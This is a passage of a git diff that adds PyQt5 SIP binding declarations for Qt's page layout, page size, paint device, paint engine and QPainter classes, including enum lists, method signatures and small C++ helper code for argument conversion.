+%If (Qt_5_3_0 -) + Envelope14, +%End +%If (Qt_5_3_0 -) + EnvelopeMonarch, +%End +%If (Qt_5_3_0 -) + EnvelopePersonal, +%End +%If (Qt_5_3_0 -) + EnvelopeChou3, +%End +%If (Qt_5_3_0 -) + EnvelopeChou4, +%End +%If (Qt_5_3_0 -) + EnvelopeInvite, +%End +%If (Qt_5_3_0 -) + EnvelopeItalian, +%End +%If (Qt_5_3_0 -) + EnvelopeKaku2, +%End +%If (Qt_5_3_0 -) + EnvelopeKaku3, +%End +%If (Qt_5_3_0 -) + EnvelopePrc1, +%End +%If (Qt_5_3_0 -) + EnvelopePrc2, +%End +%If (Qt_5_3_0 -) + EnvelopePrc3, +%End +%If (Qt_5_3_0 -) + EnvelopePrc4, +%End +%If (Qt_5_3_0 -) + EnvelopePrc5, +%End +%If (Qt_5_3_0 -) + EnvelopePrc6, +%End +%If (Qt_5_3_0 -) + EnvelopePrc7, +%End +%If (Qt_5_3_0 -) + EnvelopePrc8, +%End +%If (Qt_5_3_0 -) + EnvelopePrc9, +%End +%If (Qt_5_3_0 -) + EnvelopePrc10, +%End +%If (Qt_5_3_0 -) + EnvelopeYou4, +%End +%If (Qt_5_3_0 -) + NPaperSize, +%End +%If (Qt_5_3_0 -) + AnsiA, +%End +%If (Qt_5_3_0 -) + AnsiB, +%End +%If (Qt_5_3_0 -) + EnvelopeC5, +%End +%If (Qt_5_3_0 -) + EnvelopeDL, +%End +%If (Qt_5_3_0 -) + Envelope10, +%End +%If (Qt_5_3_0 -) + LastPageSize, +%End + }; + +%If (Qt_5_10_0 -) + + enum PdfVersion + { + PdfVersion_1_4, + PdfVersion_A1b, +%If (Qt_5_12_0 -) + PdfVersion_1_6, +%End + }; + +%End + virtual void setPageSize(QPagedPaintDevice::PageSize size); + QPagedPaintDevice::PageSize pageSize() const; + virtual void setPageSizeMM(const QSizeF &size); + QSizeF pageSizeMM() const; + + struct Margins + { +%TypeHeaderCode +#include +%End + + qreal left; + qreal right; + qreal top; + qreal bottom; + }; + + virtual void setMargins(const QPagedPaintDevice::Margins &margins); + QPagedPaintDevice::Margins margins() const; +%If (Qt_5_3_0 -) + bool setPageLayout(const QPageLayout &pageLayout); +%End +%If (Qt_5_3_0 -) + bool setPageSize(const QPageSize &pageSize); +%End +%If (Qt_5_3_0 -) + bool setPageOrientation(QPageLayout::Orientation orientation); +%End +%If (Qt_5_3_0 -) + bool setPageMargins(const QMarginsF &margins); +%End +%If (Qt_5_3_0 -) + bool setPageMargins(const QMarginsF &margins, QPageLayout::Unit units); +%End +%If (Qt_5_3_0 -) + QPageLayout pageLayout() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpagelayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpagelayout.sip new file mode 100644 index 00000000..5c21b8d7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpagelayout.sip @@ -0,0 +1,97 @@ +// qpagelayout.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_3_0 -) + +class QPageLayout +{ +%TypeHeaderCode +#include +%End + +public: + enum Unit + { + Millimeter, + Point, + Inch, + Pica, + Didot, + Cicero, + }; + + enum Orientation + { + Portrait, + Landscape, + }; + + enum Mode + { + StandardMode, + FullPageMode, + }; + + QPageLayout(); + QPageLayout(const QPageSize &pageSize, QPageLayout::Orientation orientation, const QMarginsF &margins, QPageLayout::Unit units = QPageLayout::Point, const QMarginsF &minMargins = QMarginsF(0, 0, 0, 0)); + QPageLayout(const QPageLayout &other); + ~QPageLayout(); + void swap(QPageLayout &other /Constrained/); + bool isEquivalentTo(const QPageLayout &other) const; + bool isValid() const; + void setMode(QPageLayout::Mode mode); + QPageLayout::Mode mode() const; + void setPageSize(const QPageSize &pageSize, const QMarginsF &minMargins = QMarginsF(0, 0, 0, 0)); + QPageSize pageSize() const; + void setOrientation(QPageLayout::Orientation orientation); + QPageLayout::Orientation orientation() const; + void setUnits(QPageLayout::Unit units); + QPageLayout::Unit units() const; + bool setMargins(const QMarginsF &margins); + bool setLeftMargin(qreal leftMargin); + bool setRightMargin(qreal rightMargin); + bool setTopMargin(qreal topMargin); + bool setBottomMargin(qreal bottomMargin); + QMarginsF margins() const; + QMarginsF margins(QPageLayout::Unit units) const; + QMargins marginsPoints() const; + QMargins marginsPixels(int resolution) const; + void setMinimumMargins(const QMarginsF &minMargins); + QMarginsF minimumMargins() const; + QMarginsF maximumMargins() const; + QRectF fullRect() const; + QRectF fullRect(QPageLayout::Unit units) const; + QRect fullRectPoints() const; + QRect fullRectPixels(int resolution) const; + QRectF paintRect() const; + QRectF paintRect(QPageLayout::Unit units) const; + QRect paintRectPoints() const; + QRect paintRectPixels(int resolution) const; +}; + +%End +%If (Qt_5_3_0 -) +bool operator==(const QPageLayout &lhs, const QPageLayout &rhs); +%End +%If (Qt_5_3_0 -) +bool operator!=(const QPageLayout &lhs, const QPageLayout &rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpagesize.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpagesize.sip new file mode 100644 index 00000000..9b6b401e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpagesize.sip @@ -0,0 +1,220 @@ +// qpagesize.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_3_0 -) + +class QPageSize +{ +%TypeHeaderCode +#include +%End + +public: + enum PageSizeId + { + A4, + B5, + Letter, + Legal, + Executive, + A0, + A1, + A2, + A3, + A5, + A6, + A7, + A8, + A9, + B0, + B1, + B10, + B2, + B3, + B4, + B6, + B7, + B8, + B9, + C5E, + Comm10E, + DLE, + Folio, + Ledger, + Tabloid, + Custom, + A10, + A3Extra, + A4Extra, + A4Plus, + A4Small, + A5Extra, + B5Extra, + JisB0, + JisB1, + JisB2, + JisB3, + JisB4, + JisB5, + JisB6, + JisB7, + JisB8, + JisB9, + JisB10, + AnsiC, + AnsiD, + AnsiE, + LegalExtra, + LetterExtra, + LetterPlus, + LetterSmall, + TabloidExtra, + ArchA, + ArchB, + ArchC, + ArchD, + ArchE, + Imperial7x9, + Imperial8x10, + Imperial9x11, + Imperial9x12, + Imperial10x11, + Imperial10x13, + Imperial10x14, + Imperial12x11, + Imperial15x11, + ExecutiveStandard, + Note, + Quarto, + Statement, + SuperA, + SuperB, + Postcard, + DoublePostcard, + Prc16K, + Prc32K, + Prc32KBig, + FanFoldUS, + FanFoldGerman, + FanFoldGermanLegal, + EnvelopeB4, + EnvelopeB5, + EnvelopeB6, + EnvelopeC0, + EnvelopeC1, + EnvelopeC2, + EnvelopeC3, + EnvelopeC4, + EnvelopeC6, + EnvelopeC65, + EnvelopeC7, + Envelope9, + Envelope11, + Envelope12, + Envelope14, + EnvelopeMonarch, + EnvelopePersonal, + EnvelopeChou3, + EnvelopeChou4, + EnvelopeInvite, + EnvelopeItalian, + EnvelopeKaku2, + EnvelopeKaku3, + EnvelopePrc1, + EnvelopePrc2, + EnvelopePrc3, + EnvelopePrc4, + EnvelopePrc5, + EnvelopePrc6, + EnvelopePrc7, + EnvelopePrc8, + EnvelopePrc9, + EnvelopePrc10, + EnvelopeYou4, + NPageSize, + NPaperSize, + AnsiA, + AnsiB, + EnvelopeC5, + EnvelopeDL, + Envelope10, + LastPageSize, + }; + + enum Unit + { + Millimeter, + Point, + Inch, + Pica, + Didot, + Cicero, + }; + + enum SizeMatchPolicy + { + FuzzyMatch, + FuzzyOrientationMatch, + ExactMatch, + }; + + QPageSize(); + explicit QPageSize(QPageSize::PageSizeId pageSizeId); + QPageSize(const QSize &pointSize, const QString &name = QString(), QPageSize::SizeMatchPolicy matchPolicy = QPageSize::FuzzyMatch); + QPageSize(const QSizeF &size, QPageSize::Unit units, const QString &name = QString(), QPageSize::SizeMatchPolicy matchPolicy = QPageSize::FuzzyMatch); + QPageSize(const QPageSize &other); + ~QPageSize(); + void swap(QPageSize &other /Constrained/); + bool isEquivalentTo(const QPageSize &other) const; + bool isValid() const; + QString key() const; + QString name() const; + QPageSize::PageSizeId id() const; + int windowsId() const; + QSizeF definitionSize() const; + QPageSize::Unit definitionUnits() const; + QSizeF size(QPageSize::Unit units) const; + QSize sizePoints() const; + QSize sizePixels(int resolution) const; + QRectF rect(QPageSize::Unit units) const; + QRect rectPoints() const; + QRect rectPixels(int resolution) const; + static QString key(QPageSize::PageSizeId pageSizeId); + static QString name(QPageSize::PageSizeId pageSizeId); + static QPageSize::PageSizeId id(const QSize &pointSize, QPageSize::SizeMatchPolicy matchPolicy = QPageSize::FuzzyMatch); + static QPageSize::PageSizeId id(const QSizeF &size, QPageSize::Unit units, QPageSize::SizeMatchPolicy matchPolicy = QPageSize::FuzzyMatch); + static QPageSize::PageSizeId id(int windowsId); + static int windowsId(QPageSize::PageSizeId pageSizeId); + static QSizeF definitionSize(QPageSize::PageSizeId pageSizeId); + static QPageSize::Unit definitionUnits(QPageSize::PageSizeId pageSizeId); + static QSizeF size(QPageSize::PageSizeId pageSizeId, QPageSize::Unit units); + static QSize sizePoints(QPageSize::PageSizeId pageSizeId); + static QSize sizePixels(QPageSize::PageSizeId pageSizeId, int resolution); +}; + +%End +%If (Qt_5_3_0 -) +bool operator==(const QPageSize &lhs, const QPageSize &rhs); +%End +%If (Qt_5_3_0 -) +bool operator!=(const QPageSize &lhs, const QPageSize &rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpaintdevice.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpaintdevice.sip new file mode 100644 index 00000000..aa9d3618 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpaintdevice.sip @@ -0,0 +1,81 @@ +// qpaintdevice.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPaintDevice +{ +%TypeHeaderCode +#include +%End + +public: + enum PaintDeviceMetric + { + PdmWidth, + PdmHeight, + PdmWidthMM, + PdmHeightMM, + PdmNumColors, + PdmDepth, + PdmDpiX, + PdmDpiY, + PdmPhysicalDpiX, + PdmPhysicalDpiY, +%If (Qt_5_1_0 -) + PdmDevicePixelRatio, +%End +%If (Qt_5_6_0 -) + PdmDevicePixelRatioScaled, +%End + }; + + virtual ~QPaintDevice(); + virtual QPaintEngine *paintEngine() const = 0; + int width() const; + int height() const; + int widthMM() const; + int heightMM() const; + int logicalDpiX() const; + int logicalDpiY() const; + int physicalDpiX() const; + int physicalDpiY() const; + int depth() const; + bool paintingActive() const; + int colorCount() const; +%If (Qt_5_1_0 -) + int devicePixelRatio() const; +%End + +protected: + QPaintDevice(); + virtual int metric(QPaintDevice::PaintDeviceMetric metric) const; + +public: +%If (Qt_5_6_0 -) + qreal devicePixelRatioF() const; +%End +%If (Qt_5_6_0 -) + static qreal devicePixelRatioFScale(); +%End + +private: + QPaintDevice(const QPaintDevice &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpaintdevicewindow.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpaintdevicewindow.sip new file mode 100644 index 00000000..0ae039e8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpaintdevicewindow.sip @@ -0,0 +1,45 @@ +// qpaintdevicewindow.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QPaintDeviceWindow : QWindow, QPaintDevice /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + void update(const QRect &rect); + void update(const QRegion ®ion); + +public slots: + void update(); + +protected: + virtual void paintEvent(QPaintEvent *event); + virtual int metric(QPaintDevice::PaintDeviceMetric metric) const; + virtual void exposeEvent(QExposeEvent *); + virtual bool event(QEvent *event); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpaintengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpaintengine.sip new file mode 100644 index 00000000..1ae3945e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpaintengine.sip @@ -0,0 +1,196 @@ +// qpaintengine.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextItem +{ +%TypeHeaderCode +#include +%End + +public: + enum RenderFlag + { + RightToLeft, + Overline, + Underline, + StrikeOut, + }; + + typedef QFlags RenderFlags; + qreal descent() const; + qreal ascent() const; + qreal width() const; + QTextItem::RenderFlags renderFlags() const; + QString text() const; + QFont font() const; +}; + +QFlags operator|(QTextItem::RenderFlag f1, QFlags f2); + +class QPaintEngine +{ +%TypeHeaderCode +#include +%End + +public: + enum PaintEngineFeature + { + PrimitiveTransform, + PatternTransform, + PixmapTransform, + PatternBrush, + LinearGradientFill, + RadialGradientFill, + ConicalGradientFill, + AlphaBlend, + PorterDuff, + PainterPaths, + Antialiasing, + BrushStroke, + ConstantOpacity, + MaskedBrush, + PaintOutsidePaintEvent, + PerspectiveTransform, + BlendModes, + ObjectBoundingModeGradients, + RasterOpModes, + AllFeatures, + }; + + typedef QFlags PaintEngineFeatures; + + enum DirtyFlag + { + DirtyPen, + DirtyBrush, + DirtyBrushOrigin, + DirtyFont, + DirtyBackground, + DirtyBackgroundMode, + DirtyTransform, + DirtyClipRegion, + DirtyClipPath, + DirtyHints, + DirtyCompositionMode, + DirtyClipEnabled, + DirtyOpacity, + AllDirty, + }; + + typedef QFlags DirtyFlags; + + enum PolygonDrawMode + { + OddEvenMode, + WindingMode, + ConvexMode, + PolylineMode, + }; + + explicit QPaintEngine(QPaintEngine::PaintEngineFeatures features = QPaintEngine::PaintEngineFeatures()); + virtual ~QPaintEngine(); + bool isActive() const; + void setActive(bool newState); + virtual bool begin(QPaintDevice *pdev) = 0; + virtual bool end() = 0; + virtual void updateState(const QPaintEngineState &state /NoCopy/) = 0; + virtual void drawRects(const QRect *rects /Array/, int rectCount /ArraySize/); + virtual void drawRects(const QRectF *rects /Array/, int rectCount /ArraySize/); + virtual void drawLines(const QLine *lines /Array/, int lineCount /ArraySize/); + virtual void drawLines(const QLineF *lines /Array/, int lineCount /ArraySize/); + virtual void drawEllipse(const QRectF &r); + virtual void drawEllipse(const QRect &r); + virtual void drawPath(const QPainterPath &path); + virtual void drawPoints(const QPointF *points /Array/, int pointCount /ArraySize/); + virtual void drawPoints(const QPoint *points /Array/, int pointCount /ArraySize/); + virtual void drawPolygon(const QPointF *points /Array/, int pointCount /ArraySize/, QPaintEngine::PolygonDrawMode mode); + virtual void drawPolygon(const QPoint *points /Array/, int pointCount /ArraySize/, QPaintEngine::PolygonDrawMode mode); + virtual void drawPixmap(const QRectF &r, const QPixmap &pm, const QRectF &sr) = 0; + virtual void drawTextItem(const QPointF &p, const QTextItem &textItem /NoCopy/); + virtual void drawTiledPixmap(const QRectF &r, const QPixmap &pixmap, const QPointF &s); + virtual void drawImage(const QRectF &r, const QImage &pm, const QRectF &sr, Qt::ImageConversionFlags flags = Qt::AutoColor); + void setPaintDevice(QPaintDevice *device); + QPaintDevice *paintDevice() const; + + enum Type + { + X11, + Windows, + QuickDraw, + CoreGraphics, + MacPrinter, + QWindowSystem, + PostScript, + OpenGL, + Picture, + SVG, + Raster, + Direct3D, + Pdf, + OpenVG, + OpenGL2, + PaintBuffer, + Blitter, +%If (Qt_5_3_0 -) + Direct2D, +%End + User, + MaxUser, + }; + + virtual QPaintEngine::Type type() const = 0; + QPainter *painter() const; + bool hasFeature(QPaintEngine::PaintEngineFeatures feature) const; + +private: + QPaintEngine(const QPaintEngine &); +}; + +QFlags operator|(QPaintEngine::PaintEngineFeature f1, QFlags f2); + +class QPaintEngineState +{ +%TypeHeaderCode +#include +%End + +public: + QPaintEngine::DirtyFlags state() const; + QPen pen() const; + QBrush brush() const; + QPointF brushOrigin() const; + QBrush backgroundBrush() const; + Qt::BGMode backgroundMode() const; + QFont font() const; + qreal opacity() const; + Qt::ClipOperation clipOperation() const; + QRegion clipRegion() const; + QPainterPath clipPath() const; + bool isClipEnabled() const; + QPainter::RenderHints renderHints() const; + QPainter::CompositionMode compositionMode() const; + QPainter *painter() const; + QTransform transform() const; + bool brushNeedsResolving() const; + bool penNeedsResolving() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpainter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpainter.sip new file mode 100644 index 00000000..33722c31 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpainter.sip @@ -0,0 +1,568 @@ +// qpainter.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPainter +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// Return an array on the heap of class instances extracted from a set of +// Python arguments. +template +static TYPE *qtgui_inst_array(const TYPE *first, PyObject *t, sipTypeDef *td) +{ + TYPE *arr = new TYPE[1 + PyTuple_Size(t)]; + + arr[0] = *first; + + for (Py_ssize_t i = 0; i < PyTuple_Size(t); ++i) + { + int iserr = 0, state; + TYPE *itm; + + itm = reinterpret_cast(sipForceConvertToType(PyTuple_GetItem(t, i), td, 0, SIP_NOT_NONE, &state, &iserr)); + + if (iserr) + { + sipReleaseType(itm, td, state); + + PyErr_Format(PyExc_TypeError, "each argument must be an instance of %s", sipPyTypeName(sipTypeAsPyTypeObject(td))); + + delete[] arr; + return 0; + } + + arr[1 + i] = *itm; + + sipReleaseType(itm, td, state); + } + + return arr; +} +%End + +public: + enum RenderHint + { + Antialiasing, + TextAntialiasing, + SmoothPixmapTransform, + HighQualityAntialiasing, + NonCosmeticDefaultPen, + Qt4CompatiblePainting, +%If (Qt_5_13_0 -) + LosslessImageRendering, +%End + }; + + typedef QFlags RenderHints; + QPainter(); + explicit QPainter(QPaintDevice *); + ~QPainter(); + SIP_PYOBJECT __enter__(); +%MethodCode + // Check a device was passed. + if (sipCpp->isActive()) + { + // Just return a reference to self. + sipRes = sipSelf; + Py_INCREF(sipRes); + } + else + { + PyErr_SetString(PyExc_ValueError, "QPainter must be created with a device"); + sipRes = 0; + } +%End + + void __exit__(SIP_PYOBJECT type, SIP_PYOBJECT value, SIP_PYOBJECT traceback); +%MethodCode + sipCpp->end(); +%End + + QPaintDevice *device() const; + bool begin(QPaintDevice *); + bool end(); + bool isActive() const; + + enum CompositionMode + { + CompositionMode_SourceOver, + CompositionMode_DestinationOver, + CompositionMode_Clear, + CompositionMode_Source, + CompositionMode_Destination, + CompositionMode_SourceIn, + CompositionMode_DestinationIn, + CompositionMode_SourceOut, + CompositionMode_DestinationOut, + CompositionMode_SourceAtop, + CompositionMode_DestinationAtop, + CompositionMode_Xor, + CompositionMode_Plus, + CompositionMode_Multiply, + CompositionMode_Screen, + CompositionMode_Overlay, + CompositionMode_Darken, + CompositionMode_Lighten, + CompositionMode_ColorDodge, + CompositionMode_ColorBurn, + CompositionMode_HardLight, + CompositionMode_SoftLight, + CompositionMode_Difference, + CompositionMode_Exclusion, + RasterOp_SourceOrDestination, + RasterOp_SourceAndDestination, + RasterOp_SourceXorDestination, + RasterOp_NotSourceAndNotDestination, + RasterOp_NotSourceOrNotDestination, + RasterOp_NotSourceXorDestination, + RasterOp_NotSource, + RasterOp_NotSourceAndDestination, + RasterOp_SourceAndNotDestination, + RasterOp_NotSourceOrDestination, + RasterOp_SourceOrNotDestination, + RasterOp_ClearDestination, + RasterOp_SetDestination, + RasterOp_NotDestination, + }; + + void setCompositionMode(QPainter::CompositionMode mode); + QPainter::CompositionMode compositionMode() const; + const QFont &font() const; + void setFont(const QFont &f); + QFontMetrics fontMetrics() const; + QFontInfo fontInfo() const; + void setPen(const QColor &color); + void setPen(const QPen &pen); + void setPen(Qt::PenStyle style); + const QPen &pen() const; + void setBrush(const QBrush &brush); + void setBrush(Qt::BrushStyle style); + const QBrush &brush() const; + void setBackgroundMode(Qt::BGMode mode); + Qt::BGMode backgroundMode() const; + QPoint brushOrigin() const; + void setBrushOrigin(const QPointF &); + void setBackground(const QBrush &bg); + const QBrush &background() const; + QRegion clipRegion() const; + QPainterPath clipPath() const; + void setClipRect(const QRectF &rectangle, Qt::ClipOperation operation = Qt::ReplaceClip); + void setClipRegion(const QRegion ®ion, Qt::ClipOperation operation = Qt::ReplaceClip); + void setClipPath(const QPainterPath &path, Qt::ClipOperation operation = Qt::ReplaceClip); + void setClipping(bool enable); + bool hasClipping() const; + void save(); + void restore(); + void scale(qreal sx, qreal sy); + void shear(qreal sh, qreal sv); + void rotate(qreal a); + void translate(const QPointF &offset); + QRect window() const; + void setWindow(const QRect &window); + QRect viewport() const; + void setViewport(const QRect &viewport); + void setViewTransformEnabled(bool enable); + bool viewTransformEnabled() const; + void strokePath(const QPainterPath &path, const QPen &pen); + void fillPath(const QPainterPath &path, const QBrush &brush); + void drawPath(const QPainterPath &path); + void drawPoints(const QPointF *point, ...); +%MethodCode + QPointF *points = qtgui_inst_array(a0, a1, sipType_QPointF); + + if (points) + { + sipCpp->drawPoints(points, 1 + PyTuple_Size(a1)); + delete[] points; + } + else + sipIsErr = 1; +%End + + void drawPoints(const QPolygonF &points); + void drawPoints(const QPoint *point, ...); +%MethodCode + QPoint *points = qtgui_inst_array(a0, a1, sipType_QPoint); + + if (points) + { + sipCpp->drawPoints(points, 1 + PyTuple_Size(a1)); + delete[] points; + } + else + sipIsErr = 1; +%End + + void drawPoints(const QPolygon &points); + void drawLines(const QLineF *line, ...); +%MethodCode + QLineF *lines = qtgui_inst_array(a0, a1, sipType_QLineF); + + if (lines) + { + sipCpp->drawLines(lines, 1 + PyTuple_Size(a1)); + delete[] lines; + } + else + sipIsErr = 1; +%End + + void drawLines(const QVector &lines); + void drawLines(const QPointF *pointPair, ...); +%MethodCode + QPointF *pairs = qtgui_inst_array(a0, a1, sipType_QPointF); + + if (pairs) + { + sipCpp->drawLines(pairs, (1 + PyTuple_Size(a1)) / 2); + delete[] pairs; + } + else + sipIsErr = 1; +%End + + void drawLines(const QVector &pointPairs); + void drawLines(const QLine *line, ...); +%MethodCode + QLine *lines = qtgui_inst_array(a0, a1, sipType_QLine); + + if (lines) + { + sipCpp->drawLines(lines, 1 + PyTuple_Size(a1)); + delete[] lines; + } + else + sipIsErr = 1; +%End + + void drawLines(const QVector &lines); + void drawLines(const QPoint *pointPair, ...); +%MethodCode + QPoint *pairs = qtgui_inst_array(a0, a1, sipType_QPoint); + + if (pairs) + { + sipCpp->drawLines(pairs, (1 + PyTuple_Size(a1)) / 2); + delete[] pairs; + } + else + sipIsErr = 1; +%End + + void drawLines(const QVector &pointPairs); + void drawRects(const QRectF *rect, ...); +%MethodCode + QRectF *rects = qtgui_inst_array(a0, a1, sipType_QRectF); + + if (rects) + { + sipCpp->drawRects(rects, 1 + PyTuple_Size(a1)); + delete[] rects; + } + else + sipIsErr = 1; +%End + + void drawRects(const QVector &rects); + void drawRects(const QRect *rect, ...); +%MethodCode + QRect *rects = qtgui_inst_array(a0, a1, sipType_QRect); + + if (rects) + { + sipCpp->drawRects(rects, 1 + PyTuple_Size(a1)); + delete[] rects; + } + else + sipIsErr = 1; +%End + + void drawRects(const QVector &rects); + void drawEllipse(const QRectF &r); + void drawEllipse(const QRect &r); + void drawPolyline(const QPointF *point, ...); +%MethodCode + QPointF *points = qtgui_inst_array(a0, a1, sipType_QPointF); + + if (points) + { + sipCpp->drawPolyline(points, 1 + PyTuple_Size(a1)); + delete[] points; + } + else + sipIsErr = 1; +%End + + void drawPolyline(const QPolygonF &polyline); + void drawPolyline(const QPoint *point, ...); +%MethodCode + QPoint *points = qtgui_inst_array(a0, a1, sipType_QPoint); + + if (points) + { + sipCpp->drawPolyline(points, 1 + PyTuple_Size(a1)); + delete[] points; + } + else + sipIsErr = 1; +%End + + void drawPolyline(const QPolygon &polyline); + void drawPolygon(const QPointF *point, ...); +%MethodCode + QPointF *points = qtgui_inst_array(a0, a1, sipType_QPointF); + + if (points) + { + sipCpp->drawPolygon(points, 1 + PyTuple_Size(a1)); + delete[] points; + } + else + sipIsErr = 1; +%End + + void drawPolygon(const QPolygonF &points, Qt::FillRule fillRule = Qt::OddEvenFill); + void drawPolygon(const QPoint *point, ...); +%MethodCode + QPoint *points = qtgui_inst_array(a0, a1, sipType_QPoint); + + if (points) + { + sipCpp->drawPolygon(points, 1 + PyTuple_Size(a1)); + delete[] points; + } + else + sipIsErr = 1; +%End + + void drawPolygon(const QPolygon &points, Qt::FillRule fillRule = Qt::OddEvenFill); + void drawConvexPolygon(const QPointF *point, ...); +%MethodCode + QPointF *points = qtgui_inst_array(a0, a1, sipType_QPointF); + + if (points) + { + sipCpp->drawConvexPolygon(points, 1 + PyTuple_Size(a1)); + delete[] points; + } + else + sipIsErr = 1; +%End + + void drawConvexPolygon(const QPolygonF &poly); + void drawConvexPolygon(const QPoint *point, ...); +%MethodCode + QPoint *points = qtgui_inst_array(a0, a1, sipType_QPoint); + + if (points) + { + sipCpp->drawConvexPolygon(points, 1 + PyTuple_Size(a1)); + delete[] points; + } + else + sipIsErr = 1; +%End + + void drawConvexPolygon(const QPolygon &poly); + void drawArc(const QRectF &rect, int a, int alen); + void drawPie(const QRectF &rect, int a, int alen); + void drawChord(const QRectF &rect, int a, int alen); + void drawTiledPixmap(const QRectF &rectangle, const QPixmap &pixmap, const QPointF &pos = QPointF()); + void drawPicture(const QPointF &p, const QPicture &picture); + void drawPixmap(const QRectF &targetRect, const QPixmap &pixmap, const QRectF &sourceRect); + void setLayoutDirection(Qt::LayoutDirection direction); + Qt::LayoutDirection layoutDirection() const; + void drawText(const QPointF &p, const QString &s); + void drawText(const QRectF &rectangle, int flags, const QString &text, QRectF *boundingRect /Out/ = 0); + void drawText(const QRect &rectangle, int flags, const QString &text, QRect *boundingRect /Out/ = 0); + void drawText(const QRectF &rectangle, const QString &text, const QTextOption &option = QTextOption()); + QRectF boundingRect(const QRectF &rect, int flags, const QString &text); + QRect 